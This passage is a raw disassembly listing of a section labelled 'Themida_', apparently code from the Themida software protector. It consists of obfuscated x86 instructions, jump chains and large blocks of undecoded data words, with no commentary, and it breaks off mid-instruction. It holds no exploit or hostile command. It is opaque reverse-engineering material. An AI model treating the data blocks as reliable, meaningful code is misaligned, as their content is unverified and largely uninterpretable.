Themida_:004FF0A9j add [edi+ecx*4+40h], eax dec ecx loc_4FF0A7: ; CODE XREF: Themida_:004FF0A0j or ecx, ecx jnz short loc_4FF0A2 loc_4FF0AB: ; CODE XREF: Themida_:004FF096j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_4FF0B8: ; CODE XREF: Themida_:004FF0BFj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_4FF0B8 loc_4FF0C1: ; CODE XREF: Themida_:0050012Aj ; Themida_:00500C38j ... lodsb jmp loc_507107 ; --------------------------------------------------------------------------- db 81h dd 6BA86F5h, 4AC78100h, 817A3D6Bh, 0D61A16EFh, 81EF0160h dd 0D61A16C7h, 4AEF8160h, 5D7A3D6Bh, 2B850h, 0EF810000h dd 28B86406h, 0C781C701h, 28B86406h, 333E958h, 0FF520000h dd 5A042474h, 5C24048Fh, 24048B66h, 5B2868h, 241C8900h dd 3C3FE9h, 0E9F2B300h, 385Fh, 3D08E953h, 0E9570000h, 7043h ; --------------------------------------------------------------------------- loc_4FF130: ; CODE XREF: Themida_:00506D02j push dword ptr [edi+eax*4] push dword ptr [esp] mov eax, [esp] jmp loc_5004FC ; --------------------------------------------------------------------------- loc_4FF13E: ; CODE XREF: Themida_:00507CCFj xchg eax, [esp] pop esp pop dword ptr [esp] jmp loc_5053B4 ; --------------------------------------------------------------------------- aMqsco db 'Q问',0 dd 51E58900h, 0A9B5E9h, 0BD00h, 0FD290000h, 815DEF89h dd 0FD1946E7h, 0F7C78118h, 109711Dh, 0B6E95FFEh, 2900006Dh dd 60ECE9F2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FF17E: ; CODE XREF: Themida_:005076C6j mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_501221 ; --------------------------------------------------------------------------- dw 540h dd 0C554EF3Dh, 4E4FEE81h, 0C62902ABh, 4E4FC681h, 5D5802ABh dd 80E9F031h, 81000042h, 636762EBh, 2198E91Eh, 87590000h dd 9BE92434h, 0FF000093h, 57592434h, 9B48E9h, 0ABE95000h db 86h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FF1DB: ; CODE XREF: Themida_:0050ABF3j mov ebx, 1EED48C2h not ebx xor ebx, 96178587h xor edx, ebx mov ebx, [esp] jmp loc_50746F ; --------------------------------------------------------------------------- dw 8159h dd 4C1h, 4EC8300h, 0E9241489h, 42Ah, 0F605E6C0h, 3950E9D6h dd 555B0000h, 2BDh, 8BEE0100h, 8950242Ch, 66EDE9E0h, 0C4810000h dd 4, 17E9C209h, 8100004Ch, 4C3h, 4C38300h, 0E9241C33h dd 2ED4h, 547D90BEh, 2444810Eh, 1D5D4704h, 2474294Dh, 246C8104h dd 1D5D4704h, 24348B4Dh, 4C481h, 48B0000h, 0E7895724h dd 5D48E9h, 0FCBA5200h, 1631D37h, 875D5AD6h, 2BE92434h dd 5E0000BEh, 3540E0D1h, 85E79353h, 48BC301h, 0E7895724h dd 4C781h, 0C7830000h, 4D2DE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FF29E: ; CODE XREF: Themida_:00509EEBj push ebp jmp loc_507149 ; --------------------------------------------------------------------------- dd 0A368A9BAh, 5EAC176h, 6771E9h, 24248900h, 303E952h dd 0EA830000h, 24148704h, 8924248Bh, 8B542414h, 0C4832414h dd 0BE565304h, 4, 15EF389h, 0C2835BDAh, 24143304h, 483CE9h dd 7935BB00h, 0D98945AFh, 2447C75Bh, 45AF7935h, 2049E9h dd 0E95D2400h, 66DBh, 8A67E959h, 57530000h, 0E6E9h, 2434FF00h dd 0A022E9h db 0 ; --------------------------------------------------------------------------- loc_4FF315: ; CODE XREF: Themida_:00507FC0j neg ebx jmp loc_50909C ; --------------------------------------------------------------------------- dd 24048B66h, 4EC81h, 14890000h, 51E28924h, 4B9h, 59CA0100h dd 63BB5357h, 0E9333474h, 4812h, 0A01BBh, 0E9DF8954h, 98E1h dd 5C241C87h, 2A4268h, 242C8900h, 5CC06852h, 2C890000h dd 0BCFBD24h, 0BA5229EBh, 10CF0EFAh, 5606EAC1h, 9C124ABEh dd 0E7C6813Fh, 81649313h, 0AA020CC6h, 0FDF1E956h, 0C481FFFFh dd 4, 3C8B5457h, 4C48124h, 0E9000000h, 0 dd 4BD5551h, 55000000h, 0BA6AE9h, 52BA5200h, 293A0025h dd 0E95B5AD7h, 8D30h, 66D830ACh, 0E92B2D68h, 0AE35h ; --------------------------------------------------------------------------- loc_4FF3C4: ; CODE XREF: Themida_:00509150j mov [esp], ebp mov ebp, 67A51781h shr ebp, 6 push ecx push ebx mov ebx, 0FE616BB2h mov ecx, ebx pop ebx add ebp, 38BD00C7h add ebp, ecx sub ebp, 38BD00C7h pop ecx push ebp jmp loc_5062A2 ; --------------------------------------------------------------------------- dw 0CEE9h dd 0BFFFFFFCh, 4, 15FFB89h, 9B50E9DAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FF402: ; CODE XREF: Themida_:005069E8j mov ecx, 53377E07h push esi mov esi, 72912DFDh jmp loc_5013AF ; --------------------------------------------------------------------------- dw 0B551h dd 3E58064h, 0C580C5FEh, 0D3C58057h, 0C8BE888h, 6623E924h dd 0EB810000h, 11A46BECh, 0B1E0E9h, 243C3300h, 1086E9h dd 240C8700h, 5949E9h, 412D5900h, 12AF245h, 1D03E9F8h dd 0D6010000h, 0BB58E9h, 0E1895100h, 0B904E9h, 2434FF00h dd 0E0895058h, 405h, 40500h, 4870000h, 0EB685C24h, 8900005Eh dd 0B1E92404h, 5000009Ah, 0BD55E089h, 35AE3C73h, 0F704EDC1h dd 3A00E9D5h, 0E2C00000h, 1EA8007h, 28DBB551h, 0C23059EAh dd 0E7686658h, 14896650h, 2404FE24h, 0E2C05A66h, 96B05003h dd 282DC280h, 2DEA80C2h, 0E9D03058h, 2646h ; --------------------------------------------------------------------------- loc_4FF4C8: ; CODE XREF: Themida_:004FFACEj sub ebx, 277C0DA8h mov ecx, [ebx] push dword ptr [esp] jmp loc_50959B ; --------------------------------------------------------------------------- dd 0DBF6D3F6h, 68h, 241C2800h, 83241C8Ah, 0FDE904C4h, 89000066h dd 1CCCE9DFh, 0E9570000h, 26AAh, 0E93C77FFh, 243Bh, 0FE99CA80h dd 35B1E9CAh, 0EE810000h, 1, 2263B951h, 0BD55B5B2h, 2FED18FBh dd 295DEE29h, 0FBC681CEh, 592FED18h, 24348156h, 69F40F14h dd 0F143558h, 0E95E69F4h, 470Eh, 8324248Bh, 48904ECh, 1256B824h dd 0C2813A4Ch, 4BD3703Eh, 4752EA81h, 0C6E90E3Eh, 0BA000079h dd 709A1BC7h, 68D9E9h, 240C8700h, 8124248Bh, 4C3h, 0F2E6800h dd 34890000h, 4BE24h, 42E90000h db 0B1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FF587: ; CODE XREF: Themida_:005011E3j add esp, 4 push dword ptr [esp] pop edi add esp, 4 push esi jmp loc_509853 ; --------------------------------------------------------------------------- aBqOWxlUsxq db 'OWX<$Uq',0 dw 5400h dd 0BB01E9h, 66566600h, 22474FFh, 1B72E9h, 4BA00h, 54010000h dd 0E95A0424h, 0B8A6h, 3613E950h, 81460000h, 0F0F12C6h dd 51E9462Ah, 5300003Dh, 4DC9E9h, 3C875E00h, 359AE924h dd 68580000h, 7695h, 0FF241489h, 5A042474h, 5C24048Fh dd 59DDB850h, 0EB817638h, 6BA815CAh, 0E952C301h, 1107h ; --------------------------------------------------------------------------- loc_4FF614: ; CODE XREF: Themida_:00507592j push 57D8h mov [esp], edx push ebx push 33ED1208h pop ebx sub ebx, 30970B97h jmp loc_502361 ; --------------------------------------------------------------------------- dw 2668h dd 5A44A20Eh, 6E72EA81h, 0CA815EB1h, 522B4896h, 2F64E9h db 0 ; --------------------------------------------------------------------------- loc_4FF645: ; CODE XREF: Themida_:00507B85j mov eax, esp add eax, 4 sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov [esp], ebx push ecx push ebx push ecx mov cl, dl mov bl, cl pop ecx mov cl, bl pop ebx mov bh, cl jmp loc_5007C4 ; --------------------------------------------------------------------------- dw 0BE56h dd 28770C86h, 295EF001h, 0B85058C3h, 9D3408Ch, 158C329h dd 2434FFDEh, 4C4835Bh, 3302C683h, 34312434h, 24343324h dd 120DE95Ch, 0E9530000h, 0FFFFFA79h, 815EF301h, 4EBh dd 8E9BE900h, 34FF0000h, 24048B24h, 4C481h, 23680000h dd 8900003Bh, 5B54241Ch, 7F67BF57h, 0C7812B00h, 0D4FF809Dh dd 815FFB01h, 4C3h, 74FF5300h, 34FF0424h, 2434FF24h, 4C4815Bh dd 81000000h, 4C4h, 24048F00h, 2404015Ch, 87A6E99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FF702: ; CODE XREF: Themida_:00500F9Fj pop ecx push 0BA3h mov [esp], esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi jmp loc_4FF724 ; --------------------------------------------------------------------------- dw 0E94Bh dd 3CFAh ; --------------------------------------------------------------------------- loc_4FF724: ; CODE XREF: Themida_:004FF719j add esi, 4 push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_50B292 ; --------------------------------------------------------------------------- dw 483h dd 56580424h, 49DEE9h, 0EEA8100h, 0C17F082Dh, 0F28107E2h dd 7BA115F1h, 0E95AD101h, 8509h ; --------------------------------------------------------------------------- loc_4FF760: ; CODE XREF: Themida_:00509F78j pop esp pop dword ptr [esp] push ecx push 52A5h mov [esp], eax jmp loc_50686E ; --------------------------------------------------------------------------- dw 8951h dd 4C181E1h, 52000000h, 0B23CE9h, 0E7685900h, 89000025h dd 0FF542414h, 42E92434h, 0C1000061h, 814B04E3h, 0F67F63F3h dd 4D2CE9FFh, 0D3F60000h, 0C380CBFEh, 5BDD2833h, 0E959EB00h dd 1C16h, 405E089h, 83000000h, 48704E8h, 266BE924h, 34890000h dd 5110E924h, 0E95E0000h, 2C71h ; --------------------------------------------------------------------------- loc_4FF7D4: ; CODE XREF: Themida_:0050A829j mov [esp], eax mov eax, 4 add esi, eax pop eax push ebp mov ebp, 26901C0Bh add ebp, 4AF44F75h neg ebp shr ebp, 1 sub ebp, 473DCA3Ch jmp loc_506A54 ; --------------------------------------------------------------------------- loc_4FF7FA: ; CODE XREF: Themida_:00506940j pop esi add ebp, esi jmp loc_50AEE9 ; --------------------------------------------------------------------------- dw 0DA01h dd offset dword_4FA1E4+5 db 0 ; --------------------------------------------------------------------------- loc_4FF809: ; CODE XREF: Themida_:00504723j add dword ptr [esp], 330A2739h mov eax, [esp] add esp, 4 push esi jmp loc_507AAD ; --------------------------------------------------------------------------- dd 0CD3DFAB8h, 13F8357Fh, 0C7893F8Ch, 0C7814758h, 4B542C5Fh dd 0E947DFF7h, 0B9CBh, 0F488EE88h, 0E688525Ah, 6110E9h db 0 ; --------------------------------------------------------------------------- loc_4FF845: ; CODE XREF: Themida_:00506B75j add esi, 4 jmp loc_507C76 ; --------------------------------------------------------------------------- db 5Eh, 81h, 0EEh dd 7C06491Ch, 6026E9h, 0E93A2C00h, 93E3h ; --------------------------------------------------------------------------- loc_4FF860: ; CODE XREF: Themida_:004FFA50j inc ecx shr ecx, 5 and ecx, 71773192h shr ecx, 1 sub ecx, 0AB10BCh add ebx, ecx jmp loc_509199 ; --------------------------------------------------------------------------- aBZSSrg db '!',0Bh,'Z',7,'',0 db 0 ; --------------------------------------------------------------------------- loc_4FF887: ; CODE XREF: Themida_:00502FDAj pop esp jmp loc_5020C3 ; --------------------------------------------------------------------------- db 29h, 0F8h, 0E9h dd 6FE4h, 9105D801h, 2D31A814h, 45994B7Fh, 81241C8Bh, 4C4h dd 7EB8100h, 81653315h, 4728A4C3h, 0A2C3813Fh, 2948CD51h dd 302FE9C3h, 0D8010000h, 94E3E951h, 0AD660000h, 66D83166h dd 66534068h, 56242C89h, 23F2E9h db 0 ; --------------------------------------------------------------------------- loc_4FF8DD: ; CODE XREF: Themida_:00501F09j add esp, 4 push ebp push dword ptr [esp+4] jmp loc_50749A ; --------------------------------------------------------------------------- loc_4FF8EA: ; CODE XREF: Themida_:00501657j push ecx mov ecx, 726F3240h mov edx, ecx pop ecx jmp loc_5085F7 ; --------------------------------------------------------------------------- dd 0FEFCC580h, 3A40E9C5h, 0EF810000h, 8A6C9063h, 3644E9h dd 0EAED8100h, 81189267h, 0B932A5C6h, 3723E923h, 0C4830000h dd 74FF5004h, 8F580424h, 248B2404h, 240CFF24h, 0B654E99Ch dd 478F0000h, 0F783E940h, 895CFFFFh, 42E9241Ch, 3300002Fh dd 0E1E92414h, 5E000035h, 9E2BE9h, 54836800h, 3C8B29E8h dd 4C48324h, 56E7E781h, 681DCAh, 29000000h, 535F243Ch dd 0C0091EBBh, 8EBC151h, 5C3FE9h db 0 ; --------------------------------------------------------------------------- loc_4FF97D: ; CODE XREF: Themida_:005073D0j xor esi, eax pop eax add ebp, esi mov esi, [esp] add esp, 4 push ecx mov ecx, 48F102A5h xor ecx, 328B6700h or ecx, 26904438h sub ecx, 0FFFFFFFFh sub ecx, 7EFA65BAh sub ebp, 6C61730Fh add ebp, ecx add ebp, 6C61730Fh pop ecx xchg ebp, [esp] pop esp add esp, 4 sub [esp], eax pushf jmp loc_5051FE ; --------------------------------------------------------------------------- dw 0D731h dd 8124148Bh, 4C4h, 88F4E900h, 0D8000000h, 8957D72Ch, 4C781E7h dd 81000000h, 4EFh, 5190E900h, 0F0010000h, 2BE565Eh, 1000000h dd 4335EF0h, 24043124h, 0E9240433h, 1CF0h, 240C8B66h, 68E78957h dd 6A2Ah, 0E9240489h, 2744h, 9427F581h, 0C3E9BF92h db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FFA23: ; CODE XREF: Themida_:00501C64j push 778Bh mov [esp], ebx push esp pop ebx push 63C0h mov [esp], ecx mov ecx, 4 sub ebx, 6EB634Ch add ebx, ecx add ebx, 6EB634Ch pop ecx push ecx mov ecx, 7AC57591h inc ecx jmp loc_4FF860 ; --------------------------------------------------------------------------- db 89h, 0E5h, 81h dd 4C5h, 2C58300h, 6073E9h, 24048100h, 5290220Ch, 0CEA815Ah dd 0E9529022h, 0A429h ; --------------------------------------------------------------------------- loc_4FFA78: ; CODE XREF: Themida_:00503CFAj not ebp push edi jmp loc_504F67 ; --------------------------------------------------------------------------- loc_4FFA80: ; CODE XREF: Themida_:00507D68j and esi, 0EE16661h push ebx push edx jmp loc_50220C ; --------------------------------------------------------------------------- db 48h, 35h, 3Ch dd 191D144h, 176858C2h, 89000047h, 55E92414h, 66000007h dd 6824048Bh, 29E1h, 89243489h, 4BF57E6h, 81000000h, 953A51C6h dd 0A1F6E92Bh, 8B660000h, 0E951240Ch, 290Ah ; --------------------------------------------------------------------------- loc_4FFACC: ; CODE XREF: Themida_:005003A2j add ebx, edi jmp loc_4FF4C8 ; --------------------------------------------------------------------------- aIMH@ db '<$*{h@',0 align 10h dd 0BB241C89h, 204B55E9h, 8B21E9h, 2B900h, 0EA810000h dd 4AB7065h, 5526E9h, 4BE00h, 0C7810000h, 653B51C6h, 0EF81F701h dd 653B51C6h, 0EC83515Eh, 243C8904h, 48E9h, 2434FF00h dd 7371E95Fh, 0DD870000h, 0B31CE9h db 0 ; --------------------------------------------------------------------------- loc_4FFB2D: ; CODE XREF: Themida_:00501D03j mov [esp], cx jmp loc_50A441 ; --------------------------------------------------------------------------- aQSzv db 'Qz',0 align 2 aQ db 'Q',0 aSas db 's',0 align 2 dw 0E389h dd 4C381h, 0C3810000h, 4, 5C241C87h, 76E068h, 240C8900h dd 4F9FE9h, 452EBF00h, 6CE925D2h, 8B000017h, 0C481243Ch dd 4, 2BD55h, 0EB810000h, 49081020h, 859C381h, 0EB015BCFh dd 859EB81h, 0C3815BCFh, 49081020h, 241C875Dh, 409665Ch dd 93E99C24h, 8100009Bh, 21A44F7h, 1B32E963h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FFBB2: ; CODE XREF: Themida_:00507FD7j pop esp mov [esp], eax mov eax, 1Ch push ebp push esi jmp loc_506831 ; --------------------------------------------------------------------------- loc_4FFBC2: ; CODE XREF: Themida_:00506820j pop ebp or eax, eax jnz loc_5023AD push 1 push dword ptr [esp] push dword ptr [esp] pop edx push ebx mov ebx, esp add ebx, 4 jmp loc_50A819 ; --------------------------------------------------------------------------- loc_4FFBE5: ; CODE XREF: Themida_:00506A56j pop ebp jmp loc_5023A3 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0F5B85000h, 0F7796572h, 5E8C1D8h, 23748805h, 0BE8F0552h dd 0C601F6A9h, 24148B58h, 4C481h, 47680000h, 89000036h dd 0FDBD242Ch, 29556E30h, 242C8BEEh, 2104C483h, 388CE9F0h dd 51590000h, 9FE95954h db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FFC37: ; CODE XREF: Themida_:00509FBBj mov ebp, esi mov edi, ebp push dword ptr [esp] jmp loc_508AD7 ; --------------------------------------------------------------------------- aSv db '(v#',0 align 2 dw 8B66h dd 7E68240Ch, 89000007h, 0E0892404h, 405h, 2B95100h, 5000000h dd 58E93D63h, 8C4EB305h, 2DC8011Eh, 1E8C4EB3h, 1895E9h db 0 ; --------------------------------------------------------------------------- loc_4FFC79: ; CODE XREF: Themida_:0050175Fj add edi, 7FEB7A39h add ebp, edi pop edi add ebp, 4 xor ebp, [esp] jmp loc_5063AB ; --------------------------------------------------------------------------- db 81h, 0E5h, 99h dd 81272640h, 0F55002F5h, 5DEB0162h, 0B8FE9h db 0 ; --------------------------------------------------------------------------- loc_4FFCA1: ; CODE XREF: Themida_:0050989Aj xor ecx, [esp] xor [esp], ecx jmp loc_505CE9 ; --------------------------------------------------------------------------- dd 875DE829h, 248B2404h, 243C8924h, 0A09BB53h, 5C316E7Ah dd 0E95B0424h, 8189h, 6624248Bh, 8124048Bh, 4ECh, 7AF6E900h dd 0E9590000h, 0B2Dh, 810F581h, 0EF011220h, 4EF835Dh, 5C243C87h dd 0E9240C89h, 7866h, 0DB68665Bh, 14896658h, 858DE924h dd 81510000h, 4ECh, 24048900h, 55DE68h, 24148900h, 3338DABAh dd 24448160h, 0D87EFB04h, 246C814Eh, 1B5C8304h, 24542915h dd 24448104h, 1B5C8304h, 246C8115h, 0D87EFB04h, 34FF5A4Eh dd 89575924h, 46FEE9E7h, 48B0000h, 0B0FFE924h, 0F7810000h dd 26B13D7Bh, 4A5FFA21h, 2D33EA81h, 54010864h, 535A0424h dd 0D7E9E389h db 74h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FFD73: ; CODE XREF: Themida_:0050A47Fj mov [esp], ebx jmp loc_506105 ; --------------------------------------------------------------------------- db 89h dd 51BB241Ch, 0F77E4453h, 2DEB81DBh, 813D1D6Ah, 61BD82C3h dd 75EA81BBh, 146EE2Fh, 75C281DAh, 5B46EE2Fh, 26B9E957h dd 89510000h, 17E950E1h db 3Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FFDAF: ; CODE XREF: Themida_:0050AED8j sub edx, edi pop edi xor edx, 44F9C54Fh xor eax, edx pop edx and ecx, eax pop eax shr ecx, 7 jmp loc_5080F5 ; --------------------------------------------------------------------------- dw 0E089h dd 4BA52h, 9FE90000h, 81000089h, 0D01770E9h, 31E1816Fh dd 0C159EE2Ah, 0E98106E9h, 333CD471h, 56E9CF01h, 8BFFFFF6h dd 0C481241Ch, 4, 148BD601h, 4C48124h, 81000000h, 466CA0C7h dd 0E9F70156h, 6231h, 468h, 0F0015E00h, 2BA525Eh, 1000000h dd 0FF505AD0h, 8B042474h, 0C4812404h, 4, 8B24048Fh, 70E92424h dd 890000AEh, 8B542414h, 0E6E92414h, 29000016h, 0E8315FFDh dd 8B2434FFh, 8956242Ch, 4C681E6h, 83000000h, 348704C6h dd 0C4815C24h, 4, 1CF668h, 243C8900h, 814600BFh, 4EFC11Dh dd 0DF6B850h, 0C7097DF3h, 0FFEF8358h, 0A223E950h, 49680000h dd 89000019h, 1BB241Ch, 81000000h, 0C076EEEAh, 0E9DA2906h dd 88B2h, 7883C781h, 0A7E953F9h, 81FFFFFEh, 0F32A3FEBh dd 81CB0159h, 0F32A3FC3h, 65EB8159h, 0E9591F48h, 951Fh dd 28C4EE80h, 6BE95AF0h, 100008Ch, 5E042474h, 153DE9h dd 32FF6400h, 1311E9h, 746B6800h, 3C890000h, 93B85024h dd 0E9646064h, 9EE2h, 2093F181h, 8A2D4704h, 2944B836h dd 368A05C8h, 0C8B44B8h, 4C48324h, 48BC101h, 72ECE924h dd 0EC830000h, 0A294E904h, 0C9FE0000h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_507240 ; --------------------------------------------------------------------------- loc_4FFF3C: ; CODE XREF: Themida_:00502617j add esp, 4 jmp loc_504C10 ; --------------------------------------------------------------------------- db 66h dd 5724048Bh, 460EE9h db 0 ; --------------------------------------------------------------------------- loc_4FFF51: ; CODE XREF: Themida_:005021D8j mov esp, [esp] push 3CA1h mov [esp], ebx mov ebx, 1 jmp loc_504171 ; --------------------------------------------------------------------------- dw 0EB80h dd 0E9D80814h, 6525h ; --------------------------------------------------------------------------- loc_4FFF70: ; CODE XREF: Themida_:00507577j sub esp, 4 mov [esp], ebp push 1EF9h mov [esp], ecx jmp loc_507E3D ; --------------------------------------------------------------------------- db 5Fh dd 405h, 24043300h, 33240431h, 0E95C2404h, 25DFh ; --------------------------------------------------------------------------- loc_4FFF98: ; CODE XREF: Themida_:0050AEF3j pop esp push 45BDh jmp loc_50033C ; --------------------------------------------------------------------------- db 81h dd 0D03A0CEBh, 0E930FF5Eh, 0FFFFF111h, 0F3E9D709h, 66000071h dd 28872C5Ah, 2C8704D0h, 0A6A9E98Ah, 0F3810000h, 9F5D96C2h dd 575BDF29h, 11AABD55h, 0E5816EE9h, 7011B0Eh, 0FD60C581h dd 93E973DEh, 8900004Dh, 1CB951E5h, 41383806h, 619F181h dd 0CD013838h, 3A75E9h, 0C0B60F00h, 1607E9h, 50F28100h dd 894A002Fh, 0E9015AD5h, 8B2434FFh, 0C483242Ch, 900DE904h dd 0C3800000h, 28596628h, 0B55150C3h, 19B652EAh, 54CCE9h dd 2CED8100h, 8117D204h, 4D6734EAh, 81EA016Dh, 4D6734C2h dd 242C8B6Dh, 3304C483h, 14312414h, 24143324h, 6624248Bh db 8Bh, 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_501730 ; --------------------------------------------------------------------------- dw 0B2BDh dd 10121B5h, 739FE9EFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_50007E: ; CODE XREF: Themida_:005015ACj add edi, 71685134h sub edi, 56467085h xor edi, 184E699Bh push esi push edi mov edi, 49B17428h mov esi, edi pop edi jmp loc_502AC7 ; --------------------------------------------------------------------------- aYpirsg0 db 'YP0',0 align 4 dd 4BE56h, 0F1010000h, 4BF575Eh, 29000000h, 2434FFF9h dd 81243C8Bh, 4C4h, 7BE95300h, 83FFFFFAh, 0DE2904C4h, 0E9241C8Bh dd 5CC3h, 8105E2C1h, 4ECh, 1CD6E900h, 0EC830000h, 240C8904h dd 175B7FB9h, 8BC82956h, 8956240Ch, 4C681E6h, 81000000h dd 4C6h, 24348700h, 5224248Bh, 75A3BF57h, 0FA893A7Ah, 0FFD0315Fh dd 0E95A2434h, 336Bh ; --------------------------------------------------------------------------- loc_500120: ; CODE XREF: Themida_:0050A0A8j pop dword ptr [esp] mov esp, [esp] ror dword ptr [esp], cl pushf jmp loc_4FF0C1 ; --------------------------------------------------------------------------- db 81h dd 0DE30A0C2h, 0F60FE96Ch, 0C89FFFFh, 906DE924h, 0F75F0000h dd 0C18149D9h, 311D7A4Eh, 0E3FC005h, 2DC8014Dh, 4D0E3FC0h dd 0DEBB5359h, 81190B06h, 0A67098EBh, 0F5B4E965h, 0FF68FFFFh dd 89000067h, 0E9542414h, 3DEEh, 66575F66h, 66181DBFh dd 8166EFD1h, 0E90C4CE7h, 43C6h, 24BEC381h, 0E9501A67h dd 7549h, 4C58159h, 83000000h, 2C8904ECh, 8EE5E924h, 0F8010000h dd 5F2434FFh, 8304C483h, 348904ECh, 5375E924h, 6C010000h dd 5E5D0424h, 439EEE81h, 0E95D0FAFh, 153Fh ; --------------------------------------------------------------------------- loc_5001D0: ; CODE XREF: Themida_:00504A2Ej add esp, 4 push dword ptr [esp] pop ebx jmp loc_5026F9 ; --------------------------------------------------------------------------- dd 32F8F32Dh, 58C101AAh, 41D1E9h, 0CB305A00h, 240C8B66h dd 0E902C483h, 7825h, 42474FFh, 5024148Bh, 405E089h, 5000000h dd 4, 4FDAE9h db 0 ; --------------------------------------------------------------------------- loc_500211: ; CODE XREF: Themida_:00508B03j mov edx, 608D112Bh push ebp mov ebp, 16A916F6h and edx, ebp jmp loc_507623 ; --------------------------------------------------------------------------- db 56h dd 325426BEh, 0F2895262h, 5E5AD389h, 4246C81h, 52746B50h dd 4245C29h, 507EE956h, 0FF520000h, 5A042474h, 8276E9h db 0 ; --------------------------------------------------------------------------- loc_50024D: ; CODE XREF: Themida_:005077CBj mov [esp], edx sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_50391F ; --------------------------------------------------------------------------- dd 3AE0BE56h, 0C68153B3h, 31C82F77h, 0E18F681h, 0F6815C1Bh dd 0D960644Bh, 835EF501h, 2C3304C5h, 1549E924h, 89560000h dd 4C681E6h, 0E9000000h, 2040h, 0B9240C89h, 3F576531h dd 4EC81h, 4890000h, 1373E924h, 30AC0000h, 3D47E9D8h, 77FF0000h dd 59669D1Ch, 2414D366h, 0EDF3E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5002CE: ; CODE XREF: Themida_:00504CD4j mov ebx, 7EAF76FCh sub edi, ebx pop ebx push 6725h mov [esp], ebx mov ebx, edi mov edx, ebx jmp loc_502085 ; --------------------------------------------------------------------------- db 5Dh dd 192EB951h, 0DE9135Dh db 0A6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5002F3: ; CODE XREF: Themida_:005038E9j push 6730h mov [esp], esi push eax mov eax, 2D4A10FBh jmp loc_509AB4 ; --------------------------------------------------------------------------- dw 7C01h dd 0E95F0424h, 35F2h, 8904EC83h, 55B5240Ch, 5204EDC0h dd 0F280B8B2h, 5AD5282Bh, 80FFC580h, 0CAE930F5h db 44h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50032F: ; CODE XREF: Themida_:00503E6Dj shr cl, 8 dec cl push eax mov ah, 21h jmp loc_5075FB ; --------------------------------------------------------------------------- loc_50033C: ; CODE XREF: Themida_:004FFF9Ej mov [esp], ebp mov ebp, ecx jmp loc_504115 ; --------------------------------------------------------------------------- dw 0C283h dd 24148704h, 4C3815Ch, 50000000h, 0CC1138B8h, 2DD0F70Ah dd 5029009Ch, 33482C0Dh, 0D0F7405Ch, 0C411CD35h, 0F0C38102h dd 0E94FDD23h, 4EE0h ; --------------------------------------------------------------------------- loc_500378: ; CODE XREF: Themida_:00506873j xchg ecx, [esp] mov eax, [esp] add esp, 4 push esi push eax push 6E3916CFh pop eax xchg eax, esi jmp loc_509EBF ; --------------------------------------------------------------------------- loc_50038F: ; CODE XREF: Themida_:00504DA7j mov edx, 63895F2Dh mov ebx, 9C76A0EFh add ebx, edx pop edx add ebx, 277C0DA8h jmp loc_4FFACC ; --------------------------------------------------------------------------- db 83h dd 0C8704E9h, 1C895C24h, 2454F624h, 241C8B01h, 5B04E9h dd 24043300h, 33240431h, 0E95C2404h, 0FFFFECF5h ; --------------------------------------------------------------------------- loc_5003CC: ; CODE XREF: Themida_:0050A3A2j add ebx, esi jmp loc_5003FF ; --------------------------------------------------------------------------- db 52h dd 29E9A9B2h, 0FFFFFFF1h, 53592434h, 8620E9h db 0 ; --------------------------------------------------------------------------- loc_5003E5: ; CODE XREF: Themida_:005048B9j mov edi, 11B41E85h push ecx mov ecx, 55584699h xor edi, ecx pop ecx mov esi, edi pop edi push esi xchg ebp, [esp] jmp loc_502FDF ; --------------------------------------------------------------------------- loc_5003FF: ; CODE XREF: Themida_:005003CEj pop esi add ebx, 0CD112520h push ebx mov ebx, 57B90CC0h xor ebx, 3E844D4Ch sub ebp, ebx pop ebx jmp loc_50227B ; --------------------------------------------------------------------------- loc_50041A: ; CODE XREF: Themida_:005007CBj mov ch, bh jmp loc_504A29 ; --------------------------------------------------------------------------- db 5Bh, 56h, 53h dd 3C7464BBh, 41F6E912h, 0FB290000h, 0B9515Fh, 8131C966h dd 0F80D2FC3h, 4F10E941h, 2C890000h, 4EC8124h, 89000000h dd 6E9242Ch, 81000018h, 0B63427F7h, 12F78121h, 0E93CE753h dd 6C25h ; --------------------------------------------------------------------------- loc_500464: ; CODE XREF: Themida_:00507559j pop edx sub bl, al push small 355Dh mov [esp], dx mov dh, 4Ah add bl, dh mov dx, [esp] push 89Fh mov [esp], edi mov edi, esp add edi, 4 add edi, 2 xchg edi, [esp] pop esp movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h dd 48B66C3h, 3A39E924h, 0EFC10000h, 5EE4E902h, 0C8B0000h dd 2845E924h, 0FB290000h, 7006EB81h, 835F0FDCh, 36E904ECh dd 310000A2h, 3C33243Ch, 24248B24h, 24040166h, 0EBEBE99Ch dd 1489FFFFh, 55E28924h, 7C3068h, 24048900h, 8B0A50B8h dd 5056BD67h, 0FDE9CBDBh, 0F6000060h, 0E9C388D0h, 432Ah ; --------------------------------------------------------------------------- loc_5004FC: ; CODE XREF: Themida_:004FF139j add esp, 4 push ecx mov 